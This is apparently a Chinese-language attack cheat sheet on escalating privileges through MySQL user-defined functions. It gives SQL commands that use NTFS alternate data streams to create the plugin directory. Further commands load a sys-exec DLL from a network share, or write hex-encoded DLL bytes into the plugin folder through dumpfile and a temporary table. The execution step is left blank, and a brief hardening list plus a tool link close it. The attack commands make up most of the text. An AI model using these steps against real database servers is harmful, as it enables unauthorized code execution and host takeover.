1.udf提权–版本
--------------mysql 5.1版本常遇到的问题----------------------
这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can’t open shared library"的情况。
这里我们可以利用NTFS ADS流来解决这个问题。
select @@basedir;
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile
'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录
========================================================================================
2.上传
1.有很多方法可以做到这一点。 load_file函数支持网络路径。如果你可以将DLL复制到网络共享中,那么你就可以直接加载并将它写入磁盘。
select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll')
into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
2.另一种方法是将整个DLL文件以十六进制编码后写入磁盘。
select hex(load_file('/usr/share/metasploit-
framework/data/exploits/mysql/lib_mysqludf_sys_64.dll'))
into dumpfile '/tmp/udf.hex';
select 0x4d5a90000300000004000000ffff0000b800000000000000400000
00000000000000000000000000000000000…
into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-
5.7.21-winx64\\lib\\plugin\\udf.dll";
3.还有一种方法是创建一个表并将二进制数据插入到十六进制编码流中。你可以通过insert语句或将其分解为多个部分,然后通过update语句拼接二进制数据。
create table temp(data longblob);
insert into temp(data) values
(0x4d5a90000300000004000000ffff0000b80000000000000040000
00000000000000000000000000000000000000000000000000000000
00000000000f00000000e1fba0e00b409cd21b8014ccd21546869732
070726f6772616d2063616e6e6f742062652072756e20696e20444f5
3206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data =
concat(data,0x33c2ede077a383b377a383b377a383b369f110b375
a383b369f100b37da383b369f107b375a383b35065f8b374a383b377
a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376
a383b369f112b376a383b35269636877a383b3000000000000000000
00000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile "D:\\MySQL\\mysql-
5.7.21-winx64\\mysql-5.7.21winx64\\lib\\plugin\\udf.dll";
3.执行
4.防范
1.尽量避免提供对外链接,通过mysql中的user表进行查看,禁用"%"。
2.设置复杂的Root账号密码。
3.对my.ini设置只读属性,设置plugin目录为只读目录。
5.其他
https://github.com/v5est0r/Python_FuckMySQL